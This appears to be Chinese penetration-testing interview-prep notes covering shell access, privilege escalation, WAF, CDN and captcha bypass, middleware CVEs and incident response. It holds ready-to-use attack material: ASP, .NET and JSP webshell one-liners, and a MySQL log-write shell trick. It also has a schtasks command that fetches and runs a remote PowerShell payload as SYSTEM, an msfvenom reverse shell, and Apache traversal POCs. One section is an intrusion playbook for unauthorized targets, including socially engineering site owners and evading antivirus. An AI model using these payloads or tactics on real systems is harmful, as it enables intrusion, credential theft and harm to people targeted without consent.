SET GLOBAL general_log=’on’ 开启日志读写

SET GLOBAL general_log_file=’xxx.php’ 指定日志路径

SELECT ‘‘ 写日志进xxx.php

20.最后通过蚁剑成功连接一句话

- 应该注意的问题
1. 要多关注不同地方可能存在的漏洞,多利用其他攻击点,比如暴力进入之后能不能利用平行越权,或者通过再次暴力实现提权
2. 注意过程中的分析
3. 知道后台账号:提权,上传,getshell

七、主站是从哪方面下手进行渗透测试?

可能存在的攻击点

1.无论什么站,无论什么语言,我要渗透,第一件事就是扫目录,最好一下扫出个上传点,直接上传shell,诸位不要笑,有时候你花很久搞一个站,最后发现有个现成的上传点,而且很容易猜到,不过这种情况发生在asp居多!

2.asp(aspx)+MSSQL先考虑注入,一般的注入都有DBowner权限可以直接写shell;如果写不了,或者web与数据库分离,那就猜数据,从后台下手了,后台可以上传或者改配置文件;

3.asp(aspx)+ACCESS拿shell一般只有3种方法,一是前台上传或者注入进后台上传;二是注入进后台改配置文件;三是注入进后台备份数据库或者暴库后知道是asp或者asa数据库于是直接写一句话;

4.php+MYSQL一般是注入进后台上传,偶尔运气好些权限够高可以注入select into outfile;然后包含,分本地与远程,远程包含在高版本php是不支持的,于是想办法本地上传图片文件或者写到log里;然后php程序某某未公开的漏洞,运气好可以直接写shell。

5.jsp+MYSQL利用数据库拿权限方面基本同php,而且jsp的上传基本很少检查文件后缀,于是只要有注入点与后台,拿shell相当的容易。jsp+ORACLE的站我碰到的不多,碰到的也是猜出用户名与密码从后台下手的。

6.无论什么大站,主站一般都很安全(不然早被人玩了),于是一般从二级域名下手,猜出主站的某些用户名与密码或者搞到主站的源代码,或者旁注得到同网段服务器后cain或arp。

7.一般的大站很少有用现成的CMS的,于是如果你有幸找到源码,那你就发了,注入漏洞啊,上传漏洞啊,写文件漏洞啊,都掌握在你手里。多看看那些大站新出来的测试分站点,那些站还在测试中,可以很轻松拿下。

8.上传有个文件名截断,这包括2个方面,一是00截断,二是长文件名截断(曾经利用这个搞下hw);然后很多写文件的地方,都可以00,屡试不爽。上传别忘了.asp(当然.asa,.cer,.cdx都可以啦)目录的妙用。

9.php站无论windows还是linux,都有magic_quotes_gpc的问题,magic_quotes_gpc为on的时候,在server变量注入的时候还是可以select into outfile,今年我搞过某未开源cms就是这个情况,一般情况下为on就别考虑写文件了,不过有这个权限别忘了读文件源码,因为load_file的参数是可以编码的。

10.猜路径或者文件在入侵中非常必要,猜不到路径的时候别忘了google(baidu太烂,google很全),于是你可以考虑看站点下的robot.txt或者robots.txt,会有惊喜。

11.工具的使用很重要,入侵之前用WVS扫扫会有助入侵;注入工具虽然很多,但不见得都好使,现在的软硬防火墙、防注入越来越厉害,那时候你就别偷懒,多手工有助你成长。

12.遇到过一流监控么,遇到其他防post的防火墙么,有时候一句话进去了都无法传大马,那时候,你先学学编码,学学变换绕过。

13.想搞一般的小站,记得查看这个小站的版权,找做这个站的公司,然后从这个公司做的其他站下手,得到源码再回头搞,我曾经通过这个方法拿下某知名制药的公司站。

14.旁注的思路永远不过时,遇到dbowner的注入,可以很舒服写shell到你需要的站,省得麻烦的提权了;运气不好,按部就班拿shell提权得到你所需。

15.永远别忘记社会工程学,利用社工把自己当成一个什么也不会的人,从某某站长的qq,身份证,邮箱等等下手,也许有时可能会有意外;另外别忘记admin,admin;test,test;123456,123456这种简单的尝试,当然,你也可以暴力破解。

16.别忽视XSS,别忽视cookie,XSS可以偷cookie,更有若干妙用,自己学会领悟;cookie可以伪造登陆,cookie可以注入,cookie注入可以绕绝大多数的防火墙。

17.平时搞站多多搜集路径啊,源码啊,工具啊,充实自己的“武器”库;最好把自己的入侵步骤记录下来,或者事后反思下,我一般都是记在txt里,另外要做到举一反三

八、简述白盒渗透/灰盒渗透/黑盒渗透的区别以及测试方法,以及如何根据不同的限制环境开发利用技术,以及避免触发高危警报

https://www.51cto.com/article/617481.html?u_atoken=1dd123457f33d3769d3b1e5266e35860&u_asession=01FAA56R5ng47tWKtv_a-3VqLycV8DKGt-hzfYYhxAtVpOmDIin4tXbxEIPMWo1ub0dlmHJsN3PcAI060GRB4YZGyPlBJUEqctiaTooWaXr7I&u_asig=050dmQQtYcTVnWChOqZU5scN4DxnXA42mekDBeiQ_36QrPuhT92PhyqNA8WpMs8EVxwqEKUZNo_dG5c1y7iPG_7K-Jj6JLMbqApcEKviqcbjO72rIHAJntwDHoyePA8NcJ_3eDc7FulNcscQMMX6fxS_w5BZiWPLBkJ21YU0TLwrtg2QMxYs6lyXb1lFWKql56kVL61DQ7BLo85GVHZUMk5Cc1tRAOfTlZBndy7r3cjHffzmOSjn2RGn1m6f7KfE6Wwklgl_GF8MP1TqLIy4k-kRksZu3Z4HDtquRFY-jqjRasTpJ-4hEVCCqo-GZeD3WUZHi7af-9T9DT_5BT1SiXZw&u_aref=4DyYYSLssjJr37lUkjjf36%2FbW7E%3D

  • 黑盒测试:功能测试

    黑盒测试可以协助测试人员识别出功能规格中的任何歧义、模糊、以及矛盾。他们能够在并不触碰软件大量代码段的情况下,评估和提高功能实现的质量。

    黑箱测试的无偏见性体现在:由一个独立的团队以最终用户的观点去执行,因此它有别于开发人员的视角。相比另两种方法,黑盒测试具有最快的测试用例开发能力,毕竟它既不需要编程知识,又可以由没有技术背景的测试人员去轻松地执行。

    不过,黑盒方法的有效性仅限于测试小型软件。而对于大型复杂软件进行全面测试时,它不但效率低下并且非常耗时。此外,该方法需要事先提供明确而周详的规范,否则,我们不但难以设计测试用例,并且测试覆盖的范围也将十分有限。

  • 白盒:结构测试、或逻辑驱动测试。此类方法不但比较耗时,并且要求测试人员具有强大的编程能力,能够对所测软件进行全面了解,并且可以访问到所有的源代码、以及体系架构的相关文档。否则,测试人员将无法设计出适当的测试用例。

  • 面对复杂的系统,灰盒方法借用简单的黑盒方法,让开发人员、测试人员、以及最终用户都能够上手测试。在测试用例方面,工程师需要具备部分内部结构的相关知识,其中包括:数据结构、体系架构、以及软件功能规范的文档。在此基础上生成的测试用例,可以有效地发现并消除由于软件使用不当,而暴露出的结构缺陷问题。

    灰盒测试非常适合于集成测试,包括:缺乏源代码和二进制文件的Web应用,以及某些业务领域的需求规范性测试。

九、快速 getshell 的方式有哪些?

  • 不限制的情况下:上传木马
  • 有限制:寻找注入点(上传方向):修改头像,文件导入,图像上传
  • 有限制:解析漏铜GETSHELL
  • 这里到时候去文件上传吧

十、给你 20 万个IP 要求两周内测完你会怎么做?说一下饶过CDN 寻找真实IP 方式说一下找真实ip 的方法怎么去找源IP?

批量工具,网上有st2等等导入的ip,这种带工具的应该处理批量IP会好一点

绕过CDN找真实ip:dns反查,这种可以通过在线工具,多个在线工具找到同一个应该就算是真实

  • 加上子域名搜索和找子域名的ip,有些子域名解析之后没走cdn,也能暴漏

十—、渗透测试过程中对你的 ip 进行封禁你会怎么办?

挂代理(其实基本都会挂代理的,因为很容易会扫到未授权的站点,这本质上是一种攻击)

十二、说一下图形验证码绕过的方法登录页面怎么实现绕过验证码?验证码绕过有哪几种方法?

  • 抓包停包,重放
  • 简单的ai识别插件
  • 删除相关验证,重试

十三、外网打点的思路说一下

  • 信息收集+弱口令
  • 指纹
  • 泄露
  • 社工/注入
  • 提权
  • Webshell
  • 域/内网扫描
  • 后门/后渗透
  • 清理,汇报,整理思路

十四、一个域名做了 cdn 怎么去找真实 ip? cmd 如果有 cdn 不能查真实 IP 怎么做?发现有 ip 能 ping 通你,你怎么做?

同上,如果觉得ping有关系的话,就icmp包截获一下

防火墙禁ping 应该也是ICMP包相关的

十五、给你百来个域名-或者 Ip,一个星期之内提交百分之30 的漏洞星,说一下批量自动化挖掘思路渗透测试的思路,用到的工具,工具原理是什么?基于什么规则 poyload 识别漏洞的?

  • 如果可以的话,批量化Xray + BP
  • fofa采集(Python)
    • 关注武器库
    • 找n-day
    • 记录一些比较有意思的漏洞
  • 批量化找站点,整理ip
  • ARL资产安全灯塔(找教程就行,基本有ARL的)
  • 配置fofa api
  • 挨个验证
  • 这里涉及到你搜索的策略

十六、假如一个登录框你没有登录权限,找不到漏洞,你会怎么办?

  • 接口
  • 未授权
  • 爆破
  • 目录
  • F12大法好,看前端代码
  • 看js fuzz

十七、对一个有登录框、找回密码、注册功能的站点可以进行哪些测试?

  • 首先是看看验证码和waf 绕过情况
    • 验证码绕过
    • 万能验证码
    • 删除cookie
    • 重放
  • 如果保护的不好可以试试爆破/弱口令
    • 这里涉及到注入
  • 注入的情况选择哪种注入方式
  • 找回密码部分
    • 有无验证码:爆破
    • 是否验证原密码:越权
    • 修改响应码
    • 邮件轰炸
    • 验证码绕过/回显
    • SQL注入
  • 注册部分
    • 任意用户注册
  • 历史漏洞
    • shiro反序列化
    • st2
    • cms
    • log4j
    • 中间件

十八、安卓 7.0以后有单双向证书检验怎么绕过去抓包?钓鱼怎么绕过杀毒网关,防火墙等?

  • 不太清楚

十九、你渗透过程中怎么绕阿里云?

转义字符的转义

脏数据绕过

二十、如果服务器被上传了 webshell 该怎么办?

关闭一些端口,查看可疑文件的一些记录,包括创建时间

看看日志(如果没被删除)

代码修复,升级相关

二十—、如何手工发现反序列化和构造 poc? log4 修复后怎么绕过?

  • 准备后续复现(因为相关原理还是需要再看一下,不知道原理纯复现我觉得意义不太大)

二十二、web 测试中如果碰到那种前端加密的话有没有什么想法?抓到的数据包都是密文,前端加密了有没有什么办法去测?

  • 一般前端加密抓包能看的话,大概能猜得到是什么类型的加密(或者什么系列的)
  • 如果是登录性质的加密,尝试加密后传
    • 查看源码
  • 代码混淆的反混淆工具
  • 工具的encode模块,可以利用
  • 对自己的输入进行编码

二十三、如果客户需要资产备份,有哪些渠道搜集客户没备份的资产?

  • 不太清楚
  • 这里可能涉及到已备份资产的列表和种类,从已知信息入手

二十四、给你一个日志报文,从哪些地方看有没有被攻击?

  • 如果没被删
    • 关键字,比如请求的内容和ip
    • 工具指纹
    • 一些目录(不常用的访问)
  • 如果被删了
    • 查看记录是不是符合常规的输出,比如某一个时间段的日志全没了
  • 自动化审查

二十五、如何利用 redis 获取 webshell?

redis的未授权访问,连接数据库/访问web目录的路径,能写入

  • redis是个key-value的数据库(6379)

  • webshell:

  • WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

    📹webshell分类
    webshell根据脚本类型可以分为

    PHP脚本木马

    1
    ASP脚本木马
    <%execute(request(“value”))%>
    1
    .NET脚本木马
    <%@ Page Language=”Jscript”%><%eval(Request.Item[“z”],”value”);%>
    1
    JSP脚本木马
    <%
    if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\“)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
    %>
    1
    2
    3
    JSPX脚本木马
    <%@ Page Language=“Jscript”%>
    <%eval(Request.Item[“value”])%>

二十六、fastjson 如何进行绕过?

二十七、如果你的电脑被入侵了,你怎么去找到对方是谁?

  • 得看是什么攻击,大部分攻击不好找

二十八、如何对一个电商网站进行渗透测试?如果你已经进入到订单查询接口,发现有注入你怎么得到订单数据?

  • 信息收集,看一下电商网站有没有CDN(各种Ping)
  • 正常日站策略,找资产,找指纹,找版本
  • 然后找POC 找 EXP
  • 手工!找攻击点!
    • 电商网站肯定有一些搜索和交互(搜索框,XSS 注入)
    • 以及登录账户(SQL,报错回显)
  • 带token的一些
  • 逻辑漏洞,改价格相关
  • 登陆之后的上传地方,jpg->php

二十九、给你一个医院的 client server 客户端,怎么渗透?除了反编译还有什么办法?

  • 反编译可能是对客户端进行渗透
  • 不知道渗透的规则是什么,如果是本身的client客户端的话可能我想不太到别的,但是和医院相关的话
    • 是不是可以抓一下发往哪里的包,毕竟医院数据要交互
    • 客户端相关输入是基于Web的,可能也可以

三十、如果你的网站已经确认通过 mysql udf 提权方式入侵你帮我找一下有没有放置恶意的函数?客户服务器只开了22 端口如何加固?

https://blog.csdn.net/liliang_11676/article/details/78819304

恶意代码检测不太清楚

ssh加固

  • 禁用密码(如果可能)
  • root登录禁止
  • 防火墙的设定
  • 改端口

三十一、Dll 劫持进行提权的具体操作是什么?

  • DLL劫持攻击方法

    DLL劫持攻击的基本思想是:将恶意代码注入到目标进程中,然后在目标进程中使用LoadLibrary()函数加载一个合法的DLL文件,但实际上却加载了恶意代码生成的假DLL文件。当目标进程调用DLL中的函数时,实际上是在调用恶意代码中的函数,从而实现对目标进程的控制和窃取信息等恶意行为。

具体来说,DLL劫持攻击通常包括以下几个步骤:

  1. 寻找可注入的目标进程:攻击者需要找到一些具有安全漏洞或者权限较低的进程,才能成功注入恶意代码。例如,攻击者可以利用钓鱼邮件等方式获取用户的登录凭据,然后以管理员身份运行一个监听服务,等待用户登录并打开目标进程。

  2. 构造恶意代码:攻击者需要编写一段特殊的恶意代码,用于将自身代码注入到目标进程中。这段代码通常会使用字符串加密和解密技术来确保不被杀毒软件检测到。同时,攻击者还需要根据目标进程的类型和版本等信息,选择合适的DLL文件名和路径来进行注入。

  3. 注入恶意代码:攻击者需要在目标进程中执行一段特殊的代码,用于将恶意代码注入到进程中。这段代码通常会使用CreateRemoteThread()函数来在目标进程中创建一个新线程,并将恶意代码作为线程函数进行注入。同时,攻击者还需要设置好线程的堆栈大小、优先级等信息,以确保恶意代码能够正确执行。

DLL劫持的攻击效果

一旦DLL劫持攻击成功,攻击者就可以完全控制目标进程的执行流程,实现各种恶意行为。例如,攻击者可以窃取用户的敏感信息、篡改网页内容、发起拒绝服务攻击等。此外,由于DLL劫持攻击可以在用户不知情的情况下进行,因此很难被发现和防范。

  • 防御DLL劫持攻击的方法
    为了防范DLL劫持攻击,我们可以采取以下几种措施:

限制DLL加载权限:可以通过修改目标进程的安全策略,限制其只能加载指定的DLL文件,而不能加载其他目录下的DLL文件。此外,还可以使用VirtualProtect()函数等技术来限制DLL文件中的代码段的执行权限。

使用白名单机制:可以通过建立一个白名单机制,只允许已知安全的DLL文件被加载。当目标进程尝试加载一个未被授权的DLL文件时,系统会抛出异常并终止该进程。这种方法虽然简单易用,但是对于一些新型的DLL劫持攻击可能无效。

加强安全防护措施:可以通过安装杀毒软件、更新操作系统补丁、关闭不必要的系统服务等方式来增强系统的安全防护能力。此外,还可以使用沙箱技术等隔离技术来限制恶意代码的执行范围。

三十二、对UDF 跟 mof提权熟悉吗?简单说下它们的原理

https://www.cnblogs.com/hgschool/p/17034143.html

MySQL数据库提权之UDF提权和MOF提权 - 小阿辉谈安全 - 博客园 PDF

三十三、拿下一台主机是 admin 权限,怎么提升到 system权限?

https://blog.csdn.net/qq_41874930/article/details/111842066

  1. 通过sc命令(只适用于win xp)
    以system权限启动notepad

sc Create badcode binPath= “cmd /c notepad.exe” type= own type= interact
sc start badcode
1
2

  1. 通过计划任务命令(win7-win10)
    计划任务有两种命令,at与schtasks。

2.1 通过at命令实现(只适用于win7)
以system权限在早晨7.50分启动notepad

at 7:50 notepad.exe
1
2.2 通过schtasks实现(win7-win10)
以system权限在每天早晨7.50分启动notepad

schtasks /Create /TN badcode /SC DAILY /ST 07:50 /TR “powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\"http://172.16.250.3:802/a\\\"))\"" /RU SYSTEM
schtasks /run /tn badcode
schtasks /Query /TN badcode
schtasks /Delete /TN badcode /F
1
2
3
4

  1. 通过psexec
    #隐藏打开的notepad的窗口。

psexec.exe -accepteula -s -d notepad.exe
1
#以交互式的形式打开notepad

psexec.exe -accepteula -s -i notepad.exe
1

  1. Meterpreter
    获得administrator权限后直接使用getsystem命令即可获得system权限。

简单点说实现的原理是windows中倘若程序A创建了一个服务并提供了命名管道,然后system权限的服务B在链接此命名管道的时候程序A就能利用ImpersonateNamedPipeClient()函数来获得system权限。

三十四、说一下平时项目中如何针对目标实现提权,驻留,横向渗透的过程以及方法说一下针对堡垒机与限制隔环境的 APT 渗透过程应该注意的事项

提权相关

堡垒机另开一个Chap吧

三十五、你用的工具要是存在后门怎么办?要是客户数据是因为你的后门被盗了怎么办?

  • 尽量使用不含后门的工具(大家广泛使用,经过检验的)
  • 如果是已知的尽量避免(比如检查,升级和测试)
  • 如果是未知的,那就不太好搞(毕竟工具的0day还是挺严重的)

三十六、查询子域名,除了用工具查询,还有什么方法?还有哪些查询子域名的工具?它的工作原理是什么?是怎么实现这个子域名的查询的?

方法一:穷举/使用字典

通过穷举N位数的子域,例如从000到zzz,找到部分子域。

通过常用子域字典,例如www、server、mail、wap、dl,找到部分子域。

不管是穷举还是跑字典,都需要一条条的向DNS服务器请求来获得解析情况。

这个操作除了用软件爆破外还可以通过在线网站完成,百度就能找到不少这类网站,例如:在线子域名扫描-YoungxjTools (yum6.cn)

缺点:如果子域字数多且不在字典里就没法查到了。

方法二:通过查询HTTPS/SSL的证书数据

证书授权机构有一个叫证书透明度(Certificate Transparency)的项目,会把每个SSL/TLS证书发布到公共日志中。

通过一些在线工具,即可查出域名子域。

例如这个网站:crt.sh | Certificate Search

缺点:如果子域名没有申请SSL证书,就没法查到了。

ps. 我在腾讯云免费申请的TrustAsiaSSL证书通过上面那个crt.sh网站都能查到,但是其他证书机构/付费证书能不能查到就不清楚了。

其他方法

上面只列举了两个最方便使用的方法,除此之外还有

三十七、说一下 ssql拿权限的条件说一下 ssql 绕过方法

  • 垃圾填充WAF

三十八、 webshell 提权有哪些思路?

img

渗透测试中的提权思路(详细!) - 先知社区 PDF

提权Webshell:尽量能够获取webshell,如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本;或者利用漏洞(系统漏洞,服务器漏洞,第三方软件漏洞,数据库漏洞)来获取shell。
反弹shell:利用kali虚拟机msfVENOM编写反弹shell脚本
被控制端发起的shell—通常用于被控制端因防火墙受限,权限不足、端口被占用
开启监听:msfconsole模块监听响应的反弹shell脚本(当靶机点击脚本的时候),进入meterpreter模块,可以getsystem权限,获取信息等等,还可以开启远程服务功能(lcx,scocks5)

三十九、上传 webshell 你会做免杀吗?怎么做免杀?说说木马免杀的思路

webshell免杀总结 - Longlone’s Blog

绕过常见的函数,使用不同的方法进入

四十、怎么判断一个主机是否一个域里面?

ipconfig

查看网关IP地址、DNS的ip地址、域名、本机是否和DNS服务器处于同一网段等信息。

1
ipconfig /all

然后用nslookup解析 域名的IP地址,查看是否与DNS服务器在同一IP上。

systeminfo

net config workstation

四十—、抓到一个可疑的包该如何解决?进入jboss 控制台怎么 getshell? 会不会构造攻击语句?

  • 记录

  • 判断

四十二、说一下钓鱼思路如何拿下域控?

结合实战内网渗透思路总结 - 先知社区 PDF

四十三、你是用的什么社工库?当前有哪些社工库是被开放的? 你是怎么翻墙的?怎样去大量挖掘漏洞?

  • emmm不太好说哦
  • tg有群

四十四、图片🐴上传成功的前提是什么?怎么利用图片🐴?

  • 可执行
  • 没被杀软发现
  • 知道路径
  • 菜刀连接

四十五、shiro 返回包中没有 rememberme 字样怎么测试?外网打点怎么利用?

Shiro<1.2.4-RememberMe

也被称为 Shiro 550。

可使用 P神写的 demo

https://github.com/phith0n/JavaThings/blob/master/shirodemo

原理

Shiro 默认使用了CookieRememberMeManager,其处理cookie的流程:

得到 rememberMe的cookie值 –> base64解码 –> AES解密–>反序列化。

而shiro<1.2.4版本的AES的密钥是硬编码的,就导致攻击者可以任意构造恶意rememberMe的值造成反序列化

四十六、Tomcat 攻击思路

  • ctf题目有啊
  • 看看相关的任意文件读取(CVE-2020)

第五章 安服[未整理]

一、你了不了解相关安全设备,ips 和ids?

二、对安全产品了解多少,接触过吗,去过厂家实地检测过吗?问路由器工作在在哪层?说说你知道的有哪些安全设备?说一下应急响应的流程

三、说一下应急响应的原则以及关键点

四、假如发现客户被挖矿了该怎么应急响应?假如公司被攻击了,你如何做应急响应?

五、客户主机中了勒索病毒怎么进行应急响应?了解过基线加固吗?

六、有没有安全设备部署经验?攻防演练你负责干什么?

七、系统被植入勒索病毒应该如何应急响应?勒索病毒如何防范?

八、如果一台机器不出网,怎么去连它?

https://blog.csdn.net/qq_43776040/article/details/120147769

内网渗透中目标不出网的情况下使用pystinger进行上线cobaltstrike
简介
上传服务端与代理文件
pystinger客户端与服务端进行连接
Cobalt Strike 设置监听器
简介
在内网渗透中我们常常遇到内网不出网的情况。今天推荐一款工具pystinger。这款工具是一个使用webshell进行流量转发出网的工具。它使用的是sock4代理,端口映射。可直接进行上线metasploit-framework、viper、cobalt strike。目前只支持PHP、jsp(x)、aspx三种脚本工具。
项目地址:https://github.com/FunnyWolf/pystinger

环境:

机器 IP
WEB 192.168.138.136(内网ip)
192.168.129.50(通外网ip)
DC 192.168.138.138(内网ip)
VPS

九、如果存在可以用我手机号验证码更改别人密码,你怎么跟客户简单的说一下这个漏洞的原理?如果电脑存在木马病毒,或者其他病毒,可以用什么方法查看?

十、怀疑服务器失陷,但扫描扫不出,检测是否被攻击了,怎么检测的?如果一台服务器禁用了怎么识别它开放了哪些端口?

十—、如果发现己经被反弹 shell 了,你怎么溯源?讲讲一个站如果被挂黑页的话你的湖源思路?

十二、比如接到客户通知他们的网站被篡改了你应该怎么做? cs 上线后如何做防护?

十三、网站挂马后怎么办?

十四、代码审计,从代码怎么分析查找漏洞?代码审计有没有了解?

十五、了解过蓝队的知识吗?十六、你觉得你是擅长攻还是防?如何识别蜜罐?

十七、接触过什么防御系统

十八、APT 预警平台怎么分析是不是误报、检测到了木马怎么去排查?说一下防火墙误报的排查思路

十九、怎么判断是不是勒索病毒?网站受到大量不同 ip 的攻击怎么进行防护(访问包正常)?如果你是 admin 权限怎么提升到 system?

二十—、如果客户知道了逻辑漏洞,但是开发不能立即修复可以用什么安全设备解决吗?

二十二、护网期间你是怎么判断是否是红队 ip?

二十三、红蓝对抗中,红队进入内网并且取得了一部分内网主机权限,这时候应该怎样紧急处理?是否参与过 HW 行动能否独立完成关于域相关的渗透内容?

二十四、如果在蓝队,如何判断一个流量是否是攻击流量?比如说系统检测到一个 sql 注入流量,如何判断是正常访问流量还是攻击流量以及其特征?

二十五、是否有防火墙、tdp、 ndr、 ips 以及蜜罐等配置经验?你知道的容器有哪些?你知道的中间件有哪些?如果一台主机发现异常,如何处置?

第六章 漏洞

一、有没有在网上找到过存在漏洞版本的中间件?中间件漏洞,Apache 有没有搭建过?

https://www.cnblogs.com/backlion/p/12870365.html

  • 做题的时候遇见过(Tomcat8.52的任意读取)

  • 用的kali下载别人构建好的poc,然后读出来的(是个web题目)

    • 相关原理:Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shel

      七、漏洞分析

      1.漏洞成因分析:

      tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性

      2.利用方式:

      (1)、利用DefaultServlet实现任意文件下载

      当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,

      通过serveResource方法来获取资源文件,通过getRelativePath来获取资源文件路径

      然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。

      (2)、通过jspservlet实现任意后缀文件包含

      当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件

      就平时搭搭玩具站点时候用过,而且基本是宝塔帮我搭的,我自己搭的应该是Nginx(因为项目)

二、说一下 apache 中间件经典漏洞、apache 上传文件怎么判断后缀?

  • Apache HTTPD 换行解析漏洞(CVE-2017-15715)

解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

Apache多后缀解析漏洞(apache_parsing_vulnerability)

httpd支持一个文件多个后缀,windows对于多后缀的识别是看最后一个“.”之后的后缀名。apache对于多后缀文件的识别是从后往前识别,最后一个后缀不能被识别时,会往前识别。

  • Apache HTTP 路径穿越漏洞(CVE-2021-41773)

在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
版本等于2.4.49
穿越的目录允许被访问(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。POC:/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

  • Apache HTTP 路径穿越漏洞(CVE-2021-42013)

Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。

POC:/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

  • Tomcat 任意文件写入(CVE-2017-12615)

影响范围: Tomcat 7.0.0-7.0.81(默认配置)

测试环境:Apache Tomcat v8.5.39

漏洞本质:Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件。如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的CVE-2017-12615漏洞

Apache HTTP服务器默认情况下支持解析以下常见的文件扩展名:
HTML文件 .html
HTML文件 .htm
Server Side Includes (SSI) HTML文件 .shtml
PHP脚本文件 .php
PHP脚本文件 .php3
PHP脚本文件 .php4
PHP脚本文件 .php5
Python脚本文件 .py
Common Gateway Interface (CGI) 脚本文件 .cg

三、IIS 有哪些漏洞?

https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner

Web中间件常见漏洞总结——IIS篇 - T00ls.Com PDF

IIS6.0 PUT漏洞(允许Guest写入,直接传🐴)

IIS6.0 远程代码执行漏洞 CVE-2017-7269

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.157.133 LPORT=8077 EXITFUNC=thread PrependMigrate=true PrependMigrateProc=rundll32.exe >iis

IIS6.0 解析漏洞

IIS6.0默认不解析;号后面的内容,例如1.asp;.jpg会当成1.asp解析,相当于分号截断

IIS7.0/7.5 解析漏洞

IIS7.*在FastCGI运行php的情况下,php默认配置cgi.fix_pathinfo=1,导致在任意文件后面添加/.php,服务器就会解析成php。

IIS短文件名漏洞

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。 使用命令dir /x可以看到短文件名的效果

使用网上公开的利用脚本暴力猜解短文件名

四、说一下中间件漏洞,tomcat 解析漏洞哪些中间件存在解析漏洞?复现过吗?了解哪些中间件及其漏洞?常见的中间件,比如Jboss 有什么漏洞?

同上,中间件漏洞在开头内网部分也有

五、说一下给定找回密码处,常见的逻辑漏洞有哪些?给你一个表单页你可以测哪些洞?

在渗透测试那里有

  • 1 首先尝试正常找回密码流程,选择不同的找回方式,记录所有数据包
  • 2 分析数据包,找到敏感部分
  • 3 分析后台找回机制所采用的验证手段
  • 4 修改数据包验证推测

1、验证码爆破的,对验证码有效期和请求次数没有进行限制;

2、token验证之类的,直接将验证内容返回给用户;

3、找回密码功能的进行身份验证内容未加密或者加密算法较弱,容易被猜解;

4、对用户的身份验证在前端进行,导致验证被抓包绕过;

5、在最后一步修改密码的动作时,没有校验帐号是否通过了验证、短信与手机号是否对应。

在这里插入图片描述

1.用户凭证暴力破解

1.1 密码找回的凭证太弱,如只需要填入一个四位或者六位的纯数字,就可以重置密码,导致可以暴力破解。

2.返回凭证

2.1 url返回验证码及token(找回密码凭证发到邮箱中,url中包含用户信息以及凭证,但是这个凭证可以重置任何用户)

2.2 密码找回凭证在页面中(通过密保问题找回密码、找回密码的答案在网页的源代码中)

2.3 返回短信验证码

3.邮箱弱token

3.1 时间戳的md5(Unix时间戳) 3.2 用户名 3.3 服务器时间

4.用户凭证有效性

4.1 短信验证码 4.2 邮箱token 4.3 重置密码token

5.重新绑定

5.1 手机绑定(任意用户绑上自己可控的安全手机,就可以重置任意人的手机号码了) 5.2 邮箱绑定

6.服务器验证

6.1 最终提交步骤 6.2 服务器验证可控内容(在最后重置密码处跟随一个用户ID,改成其他用户ID,即可把其他用户改成你刚刚设置的密码) 6.3 服务器验证逻辑为空

7.用户身份验证

7.1 账号与手机号码的绑定 7.2 账号与邮箱账号的绑定

8.找回步骤

8.1 跳过验证步骤、找回方式,直接到设置新密码页面

9.本地验证

9.1 在本地验证服务器的返回信息,确定是否执行重置密码,但是其返回的信息是可控的内容,或者可以得到的内容(密码找回凭证在客户端获取,在密码找回时注意抓包查看所有url返回响应等,看是否有最终的凭证出现,这样就可以绕过手机或者安全邮箱了) 9.2 发送短信等验证信息的动作在本地进行,可以通过修改返回包进行控制

10.注入

10.1 在找回密码出存在注入漏洞

11.Token生成

11.1 Token生成可控

12.注册覆盖

12.1 注册重复的用户名(比如注册A,返回用户已存在,把已存在的状态修改为可注册,填写信息提交注册,就可以覆盖A账号)

13.session覆盖

六、给一个登录框你能想到的漏洞/逻辑漏洞是?

1、弱密码与暴力破解

2、万能密码、SQL与XSS(注入)

3、登录时,不安全的用户提示:比如提示用户名不存在或者密码验证码错误

